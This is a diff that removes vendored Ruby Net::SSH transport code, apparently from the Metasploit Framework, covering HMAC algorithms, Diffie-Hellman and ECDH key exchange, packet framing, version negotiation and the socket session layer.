@digest_class = superclass.digest_class if @digest_class.nil? && superclass.respond_to?(:digest_class)
return @digest_class
elsif v.length == 1
@digest_class = v.first
else
raise ArgumentError, "wrong number of arguments (#{v.length} for 1)"
end
end
end
def key_length
self.class.key_length
end
def mac_length
self.class.mac_length
end
def digest_class
self.class.digest_class
end
# The key in use for this instance.
attr_reader :key
def initialize(key=nil)
self.key = key
end
# Sets the key to the given value, truncating it so that it is the correct
# length.
def key=(value)
@key = value ? value.to_s[0,key_length] : nil
end
# Compute the HMAC digest for the given data string.
def digest(data)
OpenSSL::HMAC.digest(digest_class.new, key, data)[0,mac_length]
end
end
end; end; end; end
-13
View File
@@ -1,13 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/hmac/abstract'
module Net::SSH::Transport::HMAC
# The MD5 HMAC algorithm.
class MD5 < Abstract
mac_length 16
key_length 16
digest_class OpenSSL::Digest::MD5
end
end
-12
View File
@@ -1,12 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/hmac/md5'
module Net::SSH::Transport::HMAC
# The MD5-96 HMAC algorithm. This returns only the first 12 bytes of
# the digest.
class MD5_96 < MD5
mac_length 12
end
end
-16
View File
@@ -1,16 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/hmac/abstract'
module Net::SSH::Transport::HMAC
# The "none" algorithm. This has a key and mac length of 0.
class None < Abstract
key_length 0
mac_length 0
def digest(data)
""
end
end
end
-14
View File
@@ -1,14 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/hmac/abstract'
module Net::SSH::Transport::HMAC
# The SHA1 HMAC algorithm. This has a mac and key length of 20, and
# uses the SHA1 digest algorithm.
class SHA1 < Abstract
mac_length 20
key_length 20
digest_class OpenSSL::Digest::SHA1
end
end
-12
View File
@@ -1,12 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/hmac/sha1'
module Net::SSH::Transport::HMAC
# The SHA1-96 HMAC algorithm. This returns only the first 12 bytes of
# the digest.
class SHA1_96 < SHA1
mac_length 12
end
end
-56
View File
@@ -1,56 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Transport
# A cipher that does nothing but pass the data through, unchanged. This
# keeps things in the code nice and clean when a cipher has not yet been
# determined (i.e., during key exchange).
class IdentityCipher
class <<self
# A default block size of 8 is required by the SSH2 protocol.
def block_size
8
end
# Returns an arbitrary integer.
def iv_len
4
end
# Does nothing. Returns self.
def encrypt
self
end
# Does nothing. Returns self.
def decrypt
self
end
# Passes its single argument through unchanged.
def update(text)
text
end
# Returns the empty string.
def final
""
end
# The name of this cipher, which is "identity".
def name
"identity"
end
# Does nothing. Returns nil.
def iv=(v)
nil
end
# Does nothing. Returns self.
def reset
self
end
end
end
end; end; end
-28
View File
@@ -1,28 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1'
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha256'
module Net::SSH::Transport
module Kex
# Maps the supported key-exchange algorithms as named by the SSH protocol
# to their corresponding implementors.
MAP = {
'diffie-hellman-group-exchange-sha1' => DiffieHellmanGroupExchangeSHA1,
'diffie-hellman-group1-sha1' => DiffieHellmanGroup1SHA1
}
if defined?(OpenSSL::PKey::EC)
require 'net/ssh/transport/kex/ecdh_sha2_nistp256'
require 'net/ssh/transport/kex/ecdh_sha2_nistp384'
require 'net/ssh/transport/kex/ecdh_sha2_nistp521'
MAP['ecdh-sha2-nistp256'] = EcdhSHA2NistP256
MAP['ecdh-sha2-nistp384'] = EcdhSHA2NistP384
MAP['ecdh-sha2-nistp521'] = EcdhSHA2NistP521
end
if defined?(DiffieHellmanGroupExchangeSHA256)
MAP['diffie-hellman-group-exchange-sha256'] = DiffieHellmanGroupExchangeSHA256
end
end
end
@@ -1,209 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/errors'
require 'net/ssh/loggable'
require 'net/ssh/transport/openssl'
require 'net/ssh/transport/constants'
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "diffie-hellman-group1-sha1"
# key-exchange algorithm.
class DiffieHellmanGroup1SHA1
include Constants, Loggable
# The value of 'P', as a string, in hexadecimal
P_s = "FFFFFFFF" "FFFFFFFF" "C90FDAA2" "2168C234" +
"C4C6628B" "80DC1CD1" "29024E08" "8A67CC74" +
"020BBEA6" "3B139B22" "514A0879" "8E3404DD" +
"EF9519B3" "CD3A431B" "302B0A6D" "F25F1437" +
"4FE1356D" "6D51C245" "E485B576" "625E7EC6" +
"F44C42E9" "A637ED6B" "0BFF5CB6" "F406B7ED" +
"EE386BFB" "5A899FA5" "AE9F2411" "7C4B1FE6" +
"49286651" "ECE65381" "FFFFFFFF" "FFFFFFFF"
# The radix in which P_s represents the value of P
P_r = 16
# The group constant
G = 2
attr_reader :p
attr_reader :g
attr_reader :digester
attr_reader :algorithms
attr_reader :connection
attr_reader :data
attr_reader :dh
# Create a new instance of the DiffieHellmanGroup1SHA1 algorithm.
# The data is a Hash of symbols representing information
# required by this algorithm, which was acquired during earlier
# processing.
def initialize(algorithms, connection, data)
@p = OpenSSL::BN.new(P_s, P_r)
@g = G
@digester = OpenSSL::Digest::SHA1
@algorithms = algorithms
@connection = connection
@data = data.dup
@dh = generate_key
@logger = @data.delete(:logger)
end
# Perform the key-exchange for the given session, with the given
# data. This method will return a hash consisting of the
# following keys:
#
# * :session_id
# * :server_key
# * :shared_secret
# * :hashing_algorithm
#
# The caller is expected to be able to understand how to use these
# deliverables.
def exchange_keys
result = send_kexinit
verify_server_key(result[:server_key])
session_id = verify_signature(result)
confirm_newkeys
return { :session_id => session_id,
:server_key => result[:server_key],
:shared_secret => result[:shared_secret],
:hashing_algorithm => digester }
end
private
# Returns the DH key parameters for the current connection.
def get_parameters
[p, g]
end
# Returns the INIT/REPLY constants used by this algorithm.
def get_message_types
[KEXDH_INIT, KEXDH_REPLY]
end
# Build the signature buffer to use when verifying a signature from
# the server.
def build_signature_buffer(result)
response = Net::SSH::Buffer.new
response.write_string data[:client_version_string],
data[:server_version_string],
data[:client_algorithm_packet],
data[:server_algorithm_packet],
result[:key_blob]
response.write_bignum dh.pub_key,
result[:server_dh_pubkey],
result[:shared_secret]
response
end
# Generate a DH key with a private key consisting of the given
# number of bytes.
def generate_key #:nodoc:
dh = OpenSSL::PKey::DH.new
dh.p, dh.g = get_parameters
dh.priv_key = OpenSSL::BN.rand(data[:need_bytes] * 8)
dh.generate_key! until dh.valid?
dh
end
# Send the KEXDH_INIT message, and expect the KEXDH_REPLY. Return the
# resulting buffer.
#
# Parse the buffer from a KEXDH_REPLY message, returning a hash of
# the extracted values.
def send_kexinit #:nodoc:
init, reply = get_message_types
# send the KEXDH_INIT message
buffer = Net::SSH::Buffer.from(:byte, init, :bignum, dh.pub_key)
connection.send_message(buffer)
# expect the KEXDH_REPLY message
buffer = connection.next_message
raise Net::SSH::Exception, "expected REPLY" unless buffer.type == reply
result = Hash.new
result[:key_blob] = buffer.read_string
result[:server_key] = Net::SSH::Buffer.new(result[:key_blob]).read_key
result[:server_dh_pubkey] = buffer.read_bignum
result[:shared_secret] = OpenSSL::BN.new(dh.compute_key(result[:server_dh_pubkey]), 2)
sig_buffer = Net::SSH::Buffer.new(buffer.read_string)
sig_type = sig_buffer.read_string
if sig_type != algorithms.host_key
raise Net::SSH::Exception,
"host key algorithm mismatch for signature " +
"'#{sig_type}' != '#{algorithms.host_key}'"
end
result[:server_sig] = sig_buffer.read_string
return result
end
# Verify that the given key is of the expected type, and that it
# really is the key for the session's host. Raise Net::SSH::Exception
# if it is not.
def verify_server_key(key) #:nodoc:
if key.ssh_type != algorithms.host_key
raise Net::SSH::Exception,
"host key algorithm mismatch " +
"'#{key.ssh_type}' != '#{algorithms.host_key}'"
end
blob, fingerprint = generate_key_fingerprint(key)
unless connection.host_key_verifier.verify(:key => key, :key_blob => blob, :fingerprint => fingerprint, :session => connection)
raise Net::SSH::Exception, "host key verification failed"
end
end
def generate_key_fingerprint(key)
blob = Net::SSH::Buffer.from(:key, key).to_s
fingerprint = OpenSSL::Digest::MD5.hexdigest(blob).scan(/../).join(":")
[blob, fingerprint]
rescue ::Exception => e
[nil, "(could not generate fingerprint: #{e.message})"]
end
# Verify the signature that was received. Raise Net::SSH::Exception
# if the signature could not be verified. Otherwise, return the new
# session-id.
def verify_signature(result) #:nodoc:
response = build_signature_buffer(result)
hash = @digester.digest(response.to_s)
unless result[:server_key].ssh_do_verify(result[:server_sig], hash)
raise Net::SSH::Exception, "could not verify server signature"
end
return hash
end
# Send the NEWKEYS message, and expect the NEWKEYS message in
# reply.
def confirm_newkeys #:nodoc:
# send own NEWKEYS message first (the wodSSHServer won't send first)
response = Net::SSH::Buffer.new
response.write_byte(NEWKEYS)
connection.send_message(response)
# wait for the server's NEWKEYS message
buffer = connection.next_message
raise Net::SSH::Exception, "expected NEWKEYS" unless buffer.type == NEWKEYS
end
end
end; end; end; end
@@ -1,78 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/errors'
require 'net/ssh/transport/constants'
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
module Net::SSH::Transport::Kex
# A key-exchange service implementing the
# "diffie-hellman-group-exchange-sha1" key-exchange algorithm.
class DiffieHellmanGroupExchangeSHA1 < DiffieHellmanGroup1SHA1
MINIMUM_BITS = 1024
MAXIMUM_BITS = 8192
KEXDH_GEX_GROUP = 31
KEXDH_GEX_INIT = 32
KEXDH_GEX_REPLY = 33
KEXDH_GEX_REQUEST = 34
private
# Compute the number of bits needed for the given number of bytes.
def compute_need_bits
need_bits = data[:need_bytes] * 8
if need_bits < MINIMUM_BITS
need_bits = MINIMUM_BITS
elsif need_bits > MAXIMUM_BITS
need_bits = MAXIMUM_BITS
end
data[:need_bits ] = need_bits
data[:need_bytes] = need_bits / 8
end
# Returns the DH key parameters for the given session.
def get_parameters
compute_need_bits
# request the DH key parameters for the given number of bits.
buffer = Net::SSH::Buffer.from(:byte, KEXDH_GEX_REQUEST, :long, MINIMUM_BITS,
:long, data[:need_bits], :long, MAXIMUM_BITS)
connection.send_message(buffer)
buffer = connection.next_message
unless buffer.type == KEXDH_GEX_GROUP
raise Net::SSH::Exception, "expected KEXDH_GEX_GROUP, got #{buffer.type}"
end
p = buffer.read_bignum
g = buffer.read_bignum
[p, g]
end
# Returns the INIT/REPLY constants used by this algorithm.
def get_message_types
[KEXDH_GEX_INIT, KEXDH_GEX_REPLY]
end
# Build the signature buffer to use when verifying a signature from
# the server.
def build_signature_buffer(result)
response = Net::SSH::Buffer.new
response.write_string data[:client_version_string],
data[:server_version_string],
data[:client_algorithm_packet],
data[:server_algorithm_packet],
result[:key_blob]
response.write_long MINIMUM_BITS,
data[:need_bits],
MAXIMUM_BITS
response.write_bignum dh.p, dh.g, dh.pub_key,
result[:server_dh_pubkey],
result[:shared_secret]
response
end
end
end
@@ -1,16 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1'
module Net::SSH::Transport::Kex
if defined?(OpenSSL::Digest::SHA256)
# A key-exchange service implementing the
# "diffie-hellman-group-exchange-sha256" key-exchange algorithm.
class DiffieHellmanGroupExchangeSHA256 < DiffieHellmanGroupExchangeSHA1
def initialize(*args)
super(*args)
@digester = OpenSSL::Digest::SHA256
end
end
end
end
@@ -1,94 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/constants'
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "ecdh-sha2-nistp256"
# key-exchange algorithm. (defined in RFC 5656)
class EcdhSHA2NistP256 < DiffieHellmanGroup1SHA1
include Constants, Loggable
attr_reader :ecdh
def digester
OpenSSL::Digest::SHA256
end
def curve_name
OpenSSL::PKey::EC::CurveNameAlias['nistp256']
end
def initialize(algorithms, connection, data)
@algorithms = algorithms
@connection = connection
@digester = digester
@data = data.dup
@ecdh = generate_key
@logger = @data.delete(:logger)
end
private
def get_message_types
[KEXECDH_INIT, KEXECDH_REPLY]
end
def build_signature_buffer(result)
response = Net::SSH::Buffer.new
response.write_string data[:client_version_string],
data[:server_version_string],
data[:client_algorithm_packet],
data[:server_algorithm_packet],
result[:key_blob],
ecdh.public_key.to_bn.to_s(2),
result[:server_ecdh_pubkey]
response.write_bignum result[:shared_secret]
response
end
def generate_key #:nodoc:
OpenSSL::PKey::EC.new(curve_name).generate_key
end
def send_kexinit #:nodoc:
init, reply = get_message_types
# send the KEXECDH_INIT message
## byte SSH_MSG_KEX_ECDH_INIT
## string Q_C, client's ephemeral public key octet string
buffer = Net::SSH::Buffer.from(:byte, init, :string, ecdh.public_key.to_bn.to_s(2))
connection.send_message(buffer)
# expect the following KEXECDH_REPLY message
## byte SSH_MSG_KEX_ECDH_REPLY
## string K_S, server's public host key
## string Q_S, server's ephemeral public key octet string
## string the signature on the exchange hash
buffer = connection.next_message
raise Net::SSH::Exception, "expected REPLY" unless buffer.type == reply
result = Hash.new
result[:key_blob] = buffer.read_string
result[:server_key] = Net::SSH::Buffer.new(result[:key_blob]).read_key
result[:server_ecdh_pubkey] = buffer.read_string
# compute shared secret from server's public key and client's private key
pk = OpenSSL::PKey::EC::Point.new(OpenSSL::PKey::EC.new(curve_name).group,
OpenSSL::BN.new(result[:server_ecdh_pubkey], 2))
result[:shared_secret] = OpenSSL::BN.new(ecdh.dh_compute_key(pk), 2)
sig_buffer = Net::SSH::Buffer.new(buffer.read_string)
sig_type = sig_buffer.read_string
if sig_type != algorithms.host_key
raise Net::SSH::Exception,
"host key algorithm mismatch for signature " +
"'#{sig_type}' != '#{algorithms.host_key}'"
end
result[:server_sig] = sig_buffer.read_string
return result
end
end
end; end; end; end
@@ -1,14 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "ecdh-sha2-nistp384"
# key-exchange algorithm. (defined in RFC 5656)
class EcdhSHA2NistP384 < EcdhSHA2NistP256
def digester
OpenSSL::Digest::SHA384
end
def curve_name
OpenSSL::PKey::EC::CurveNameAlias['nistp384']
end
end
end; end; end; end
@@ -1,14 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "ecdh-sha2-nistp521"
# key-exchange algorithm. (defined in RFC 5656)
class EcdhSHA2NistP521 < EcdhSHA2NistP256
def digester
OpenSSL::Digest::SHA512
end
def curve_name
OpenSSL::PKey::EC::CurveNameAlias['nistp521']
end
end
end; end; end; end
-142
View File
@@ -1,142 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
require 'net/ssh/buffer'
module OpenSSL
# This class is originally defined in the OpenSSL module. As needed, methods
# have been added to it by the Net::SSH module for convenience in dealing with
# SSH functionality.
class BN
# Converts a BN object to a string. The format used is that which is
# required by the SSH2 protocol.
def to_ssh
if zero?
return [0].pack("N")
else
buf = to_s(2)
if buf.getbyte(0)[7] == 1
return [buf.length+1, 0, buf].pack("NCA*")
else
return [buf.length, buf].pack("NA*")
end
end
end
end
module PKey
class PKey
def fingerprint
@fingerprint ||= OpenSSL::Digest::MD5.hexdigest(to_blob).scan(/../).join(":")
end
end
# This class is originally defined in the OpenSSL module. As needed, methods
# have been added to it by the Net::SSH module for convenience in dealing
# with SSH functionality.
class DH
# Determines whether the pub_key for this key is valid. (This algorithm
# lifted more-or-less directly from OpenSSH, dh.c, dh_pub_is_valid.)
def valid?
return false if pub_key.nil? || pub_key < 0
bits_set = 0
pub_key.num_bits.times { |i| bits_set += 1 if pub_key.bit_set?(i) }
return ( bits_set > 1 && pub_key < p )
end
end
# This class is originally defined in the OpenSSL module. As needed, methods
# have been added to it by the Net::SSH module for convenience in dealing
# with SSH functionality.
class RSA
# Returns "ssh-rsa", which is the description of this key type used by the
# SSH2 protocol.
def ssh_type
"ssh-rsa"
end
# Converts the key to a blob, according to the SSH2 protocol.
def to_blob
@blob ||= Net::SSH::Buffer.from(:string, ssh_type, :bignum, e, :bignum, n).to_s
end
# Verifies the given signature matches the given data.
def ssh_do_verify(sig, data)
verify(OpenSSL::Digest::SHA1.new, sig, data)
end
# Returns the signature for the given data.
def ssh_do_sign(data)
sign(OpenSSL::Digest::SHA1.new, data)
end
end
# This class is originally defined in the OpenSSL module. As needed, methods
# have been added to it by the Net::SSH module for convenience in dealing
# with SSH functionality.
class DSA
# Returns "ssh-dss", which is the description of this key type used by the
# SSH2 protocol.
def ssh_type
"ssh-dss"
end
# Converts the key to a blob, according to the SSH2 protocol.
def to_blob
@blob ||= Net::SSH::Buffer.from(:string, ssh_type,
:bignum, p, :bignum, q, :bignum, g, :bignum, pub_key).to_s
end
# Verifies the given signature matches the given data.
def ssh_do_verify(sig, data)
sig_r = sig[0,20].unpack("H*")[0].to_i(16)
sig_s = sig[20,20].unpack("H*")[0].to_i(16)
a1sig = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(sig_r),
OpenSSL::ASN1::Integer(sig_s)
])
return verify(OpenSSL::Digest::DSS1.new, a1sig.to_der, data)
end
# Signs the given data.
def ssh_do_sign(data)
sig = sign( OpenSSL::Digest::DSS1.new, data)
a1sig = OpenSSL::ASN1.decode( sig )
sig_r = a1sig.value[0].value.to_s(2)
sig_s = a1sig.value[1].value.to_s(2)
if sig_r.length > 20 || sig_s.length > 20
raise OpenSSL::PKey::DSAError, "bad sig size"
end
sig_r = "\0" * ( 20 - sig_r.length ) + sig_r if sig_r.length < 20
sig_s = "\0" * ( 20 - sig_s.length ) + sig_s if sig_s.length < 20
return sig_r + sig_s
end
end
if defined?(OpenSSL::PKey::EC)
# This class is originally defined in the OpenSSL module. As needed, methods
# have been added to it by the Net::SSH module for convenience in dealing
# with SSH funcationality.
class EC
CurveNameAlias = {
"nistp256" => "prime256v1",
"nistp384" => "secp384r1",
"nistp521" => "secp521r1",
}
end
end
end
end
-228
View File
@@ -1,228 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffered_io'
require 'net/ssh/errors'
require 'net/ssh/packet'
require 'net/ssh/transport/cipher_factory'
require 'net/ssh/transport/hmac'
require 'net/ssh/transport/state'
module Net; module SSH; module Transport
# A module that builds additional functionality onto the Net::SSH::BufferedIo
# module. It adds SSH encryption, compression, and packet validation, as
# per the SSH2 protocol. It also adds an abstraction for polling packets,
# to allow for both blocking and non-blocking reads.
module PacketStream
include BufferedIo
def self.extended(object)
object.__send__(:initialize_ssh)
end
# The map of "hints" that can be used to modify the behavior of the packet
# stream. For instance, when authentication succeeds, an "authenticated"
# hint is set, which is used to determine whether or not to compress the
# data when using the "delayed" compression algorithm.
attr_reader :hints
# The server state object, which encapsulates the algorithms used to interpret
# packets coming from the server.
attr_reader :server
# The client state object, which encapsulates the algorithms used to build
# packets to send to the server.
attr_reader :client
# The name of the client (local) end of the socket, as reported by the
# socket.
def client_name
@client_name ||= begin
sockaddr = getsockname
begin
Socket.getnameinfo(sockaddr, Socket::NI_NAMEREQD).first
rescue
begin
Socket.getnameinfo(sockaddr).first
rescue
begin
Socket.gethostbyname(Socket.gethostname).first
rescue
lwarn { "the client ipaddr/name could not be determined" }
"unknown"
end
end
end
end
end
# The IP address of the peer (remote) end of the socket, as reported by
# the Rex socket.
def peer_ip
@peer_ip ||= getpeername[1]
end
# Returns true if the IO is available for reading, and false otherwise.
def available_for_read?
result = IO.select([self], nil, nil, 0)
result && result.first.any?
end
# Returns the next full packet. If the mode parameter is :nonblock (the
# default), then this will return immediately, whether a packet is
# available or not, and will return nil if there is no packet ready to be
# returned. If the mode parameter is :block, then this method will block
# until a packet is available.
def next_packet(mode=:nonblock)
case mode
when :nonblock then
fill if available_for_read?
poll_next_packet
when :block then
loop do
packet = poll_next_packet
return packet if packet
loop do
result = IO.select([self]) or next
break if result.first.any?
end
if fill <= 0
raise Net::SSH::Disconnect, "connection closed by remote host"
end
end
else
raise ArgumentError, "expected :block or :nonblock, got #{mode.inspect}"
end
end
# Enqueues a packet to be sent, and blocks until the entire packet is
# sent.
def send_packet(payload)
enqueue_packet(payload)
wait_for_pending_sends
end
# Enqueues a packet to be sent, but does not immediately send the packet.
# The given payload is pre-processed according to the algorithms specified
# in the client state (compression, cipher, and hmac).
def enqueue_packet(payload)
# try to compress the packet
payload = client.compress(payload)
# the length of the packet, minus the padding
actual_length = 4 + payload.length + 1
# compute the padding length
padding_length = client.block_size - (actual_length % client.block_size)
padding_length += client.block_size if padding_length < 4
# compute the packet length (sans the length field itself)
packet_length = payload.length + padding_length + 1
if packet_length < 16
padding_length += client.block_size
packet_length = payload.length + padding_length + 1
end
padding = Array.new(padding_length) { rand(256) }.pack("C*")
unencrypted_data = [packet_length, padding_length, payload, padding].pack("NCA*A*")
mac = client.hmac.digest([client.sequence_number, unencrypted_data].pack("NA*"))
encrypted_data = client.update_cipher(unencrypted_data) << client.final_cipher
message = encrypted_data + mac
debug { "queueing packet nr #{client.sequence_number} type #{payload.getbyte(0)} len #{packet_length}" }
enqueue(message)
client.increment(packet_length)
self
end
# Performs any pending cleanup necessary on the IO and its associated
# state objects. (See State#cleanup).
def cleanup
client.cleanup
server.cleanup
end
# If the IO object requires a rekey operation (as indicated by either its
# client or server state objects, see State#needs_rekey?), this will
# yield. Otherwise, this does nothing.
def if_needs_rekey?
if client.needs_rekey? || server.needs_rekey?
yield
client.reset! if client.needs_rekey?
server.reset! if server.needs_rekey?
end
end
protected
# Called when this module is used to extend an object. It initializes
# the states and generally prepares the object for use as a packet stream.
def initialize_ssh
@hints = {}
@server = State.new(self, :server)
@client = State.new(self, :client)
@packet = nil
initialize_buffered_io
end
# Tries to read the next packet. If there is insufficient data to read
# an entire packet, this returns immediately, otherwise the packet is
# read, post-processed according to the cipher, hmac, and compression
# algorithms specified in the server state object, and returned as a
# new Packet object.
def poll_next_packet
if @packet.nil?
minimum = server.block_size < 4 ? 4 : server.block_size
return nil if available < minimum
data = read_available(minimum)
# decipher it
@packet = Net::SSH::Buffer.new(server.update_cipher(data))
@packet_length = @packet.read_long
end
need = @packet_length + 4 - server.block_size
raise Net::SSH::Exception, "padding error, need #{need} block #{server.block_size}" if need % server.block_size != 0
return nil if available < need + server.hmac.mac_length
if need > 0
# read the remainder of the packet and decrypt it.
data = read_available(need)
@packet.append(server.update_cipher(data))
end
# get the hmac from the tail of the packet (if one exists), and
# then validate it.
real_hmac = read_available(server.hmac.mac_length) || ""
@packet.append(server.final_cipher)
padding_length = @packet.read_byte
payload = @packet.read(@packet_length - padding_length - 1)
padding = @packet.read(padding_length) if padding_length > 0
my_computed_hmac = server.hmac.digest([server.sequence_number, @packet.content].pack("NA*"))
raise Net::SSH::Exception, "corrupted mac detected" if real_hmac != my_computed_hmac
# try to decompress the payload, in case compression is active
payload = server.decompress(payload)
debug { "received packet nr #{server.sequence_number} type #{payload.getbyte(0)} len #{@packet_length}" }
server.increment(@packet_length)
@packet = nil
return Packet.new(payload)
end
end
end; end; end
-72
View File
@@ -1,72 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/errors'
require 'net/ssh/loggable'
require 'net/ssh/version'
module Net; module SSH; module Transport
# Negotiates the SSH protocol version and trades information about server
# and client. This is never used directly--it is always called by the
# transport layer as part of the initialization process of the transport
# layer.
#
# Note that this class also encapsulates the negotiated version, and acts as
# the authoritative reference for any queries regarding the version in effect.
class ServerVersion
include Loggable
# The SSH version string as reported by Net::SSH
PROTO_VERSION = "SSH-2.0-OpenSSH_5.0"
# Any header text sent by the server prior to sending the version.
attr_reader :header
# The version string reported by the server.
attr_reader :version
# Instantiates a new ServerVersion and immediately (and synchronously)
# negotiates the SSH protocol in effect, using the given socket.
def initialize(socket, logger)
@header = ""
@version = nil
@logger = logger
negotiate!(socket)
end
private
# Negotiates the SSH protocol to use, via the given socket. If the server
# reports an incompatible SSH version (e.g., SSH1), this will raise an
# exception.
def negotiate!(socket)
info { "negotiating protocol version" }
loop do
@version = ""
loop do
version_timeout = (9000/1000.0)+3 # (3 to 12 seconds)
b = socket.get_once(1,version_timeout)
if b.nil?
raise Net::SSH::Disconnect, "connection timed out or closed by remote host"
end
@version << b
break if b == "\n"
end
break if @version.match(/^SSH-/)
@header << @version
end
@version.chomp!
debug { "remote is `#{@version}'" }
unless @version.match(/^SSH-(1\.99|2\.0)-/)
raise Net::SSH::Exception, "incompatible SSH version `#{@version}'"
end
debug { "local is `#{PROTO_VERSION}'" }
socket.write "#{PROTO_VERSION}\r\n"
socket.flush
end
end
end; end; end
-298
View File
@@ -1,298 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'timeout'
require 'net/ssh/errors'
require 'net/ssh/loggable'
require 'net/ssh/version'
require 'net/ssh/transport/algorithms'
require 'net/ssh/transport/constants'
require 'net/ssh/transport/packet_stream'
require 'net/ssh/transport/server_version'
require 'net/ssh/verifiers/null'
require 'net/ssh/verifiers/strict'
require 'net/ssh/verifiers/lenient'
module Net; module SSH; module Transport
# The transport layer represents the lowest level of the SSH protocol, and
# implements basic message exchanging and protocol initialization. It will
# never be instantiated directly (unless you really know what you're about),
# but will instead be created for you automatically when you create a new
# SSH session via Net::SSH.start.
class Session
include Constants, Loggable
# The standard port for the SSH protocol.
DEFAULT_PORT = 22
# The host to connect to, as given to the constructor.
attr_reader :host
# The port number to connect to, as given in the options to the constructor.
# If no port number was given, this will default to DEFAULT_PORT.
attr_reader :port
# The underlying socket object being used to communicate with the remote
# host.
attr_reader :socket
# The ServerVersion instance that encapsulates the negotiated protocol
# version.
attr_reader :server_version
# The Algorithms instance used to perform key exchanges.
attr_reader :algorithms
# The host-key verifier object used to verify host keys, to ensure that
# the connection is not being spoofed.
attr_reader :host_key_verifier
# The hash of options that were given to the object at initialization.
attr_reader :options
# Instantiates a new transport layer abstraction. This will block until
# the initial key exchange completes, leaving you with a ready-to-use
# transport session.
def initialize(host, options={})
self.logger = options[:logger]
@host = host
@port = options[:port] || DEFAULT_PORT
@options = options
debug { "establishing connection to #{@host}:#{@port}" }
factory = options[:proxy]
if (factory)
@socket = ::Timeout.timeout(options[:timeout] || 0) { factory.open(@host,
@port) }
else
@socket = ::Timeout.timeout(options[:timeout] || 0) {
Rex::Socket::Tcp.create(
'PeerHost' => @host,
'PeerPort' => @port,
'Proxies' => options[:proxies],
'Context' => {
'Msf' => options[:msframework],
'MsfExploit' => options[:msfmodule]
}
)
}
# Tell MSF to automatically close this socket on error or completion...
# This prevents resource leaks.
options[:msfmodule].add_socket(@socket) if options[:msfmodule]
end
@socket.extend(PacketStream)
@socket.logger = @logger
debug { "connection established" }
@queue = []
@host_key_verifier = select_host_key_verifier(options[:paranoid])
@server_version = ServerVersion.new(socket, logger)
@algorithms = Algorithms.new(self, options)
wait { algorithms.initialized? }
end
# Returns the host (and possibly IP address) in a format compatible with
# SSH known-host files.
def host_as_string
@host_as_string ||= begin
string = "#{host}"
string = "[#{string}]:#{port}" if port != DEFAULT_PORT
if socket.peer_ip != host
string2 = socket.peer_ip
string2 = "[#{string2}]:#{port}" if port != DEFAULT_PORT
string << "," << string2
end
string
end
end
# Returns true if the underlying socket has been closed.
def closed?
socket.closed?
end
# Cleans up (see PacketStream#cleanup) and closes the underlying socket.
def close
socket.cleanup
socket.close
end
# Performs a "hard" shutdown of the connection. In general, this should
# never be done, but it might be necessary (in a rescue clause, for instance,
# when the connection needs to close but you don't know the status of the
# underlying protocol's state).
def shutdown!
error { "forcing connection closed" }
socket.close
end
# Returns a new service_request packet for the given service name, ready
# for sending to the server.
def service_request(service)
Net::SSH::Buffer.from(:byte, SERVICE_REQUEST, :string, service)
end
# Requests a rekey operation, and blocks until the operation completes.
# If a rekey is already pending, this returns immediately, having no
# effect.
def rekey!
if !algorithms.pending?
algorithms.rekey!
wait { algorithms.initialized? }
end
end
# Returns immediately if a rekey is already in process. Otherwise, if a
# rekey is needed (as indicated by the socket, see PacketStream#if_needs_rekey?)
# one is performed, causing this method to block until it completes.
def rekey_as_needed
return if algorithms.pending?
socket.if_needs_rekey? { rekey! }
end
# Returns a hash of information about the peer (remote) side of the socket,
# including :ip, :port, :host, and :canonized (see #host_as_string).
def peer
@peer ||= { :ip => socket.peer_ip, :port => @port.to_i, :host => @host, :canonized => host_as_string }
end
# Blocks until a new packet is available to be read, and returns that
# packet. See #poll_message.
def next_message
poll_message(:block)
end
# Tries to read the next packet from the socket. If mode is :nonblock (the
# default), this will not block and will return nil if there are no packets
# waiting to be read. Otherwise, this will block until a packet is
# available. Note that some packet types (DISCONNECT, IGNORE, UNIMPLEMENTED,
# DEBUG, and KEXINIT) are handled silently by this method, and will never
# be returned.
#
# If a key-exchange is in process and a disallowed packet type is
# received, it will be enqueued and otherwise ignored. When a key-exchange
# is not in process, and consume_queue is true, packets will be first
# read from the queue before the socket is queried.
def poll_message(mode=:nonblock, consume_queue=true)
loop do
if consume_queue && @queue.any? && algorithms.allow?(@queue.first)
return @queue.shift
end
packet = socket.next_packet(mode)
return nil if packet.nil?
case packet.type
when DISCONNECT
raise Net::SSH::Disconnect, "disconnected: #{packet[:description]} (#{packet[:reason_code]})"
when IGNORE
debug { "IGNORE packet recieved: #{packet[:data].inspect}" }
when UNIMPLEMENTED
lwarn { "UNIMPLEMENTED: #{packet[:number]}" }
when DEBUG
send(packet[:always_display] ? :fatal : :debug) { packet[:message] }
when KEXINIT
algorithms.accept_kexinit(packet)
else
return packet if algorithms.allow?(packet)
push(packet)
end
end
end
# Waits (blocks) until the given block returns true. If no block is given,
# this just waits long enough to see if there are any pending packets. Any
# packets read are enqueued (see #push).
def wait
loop do
break if block_given? && yield
message = poll_message(:nonblock, false)
push(message) if message
break if !block_given?
end
end
# Adds the given packet to the packet queue. If the queue is non-empty,
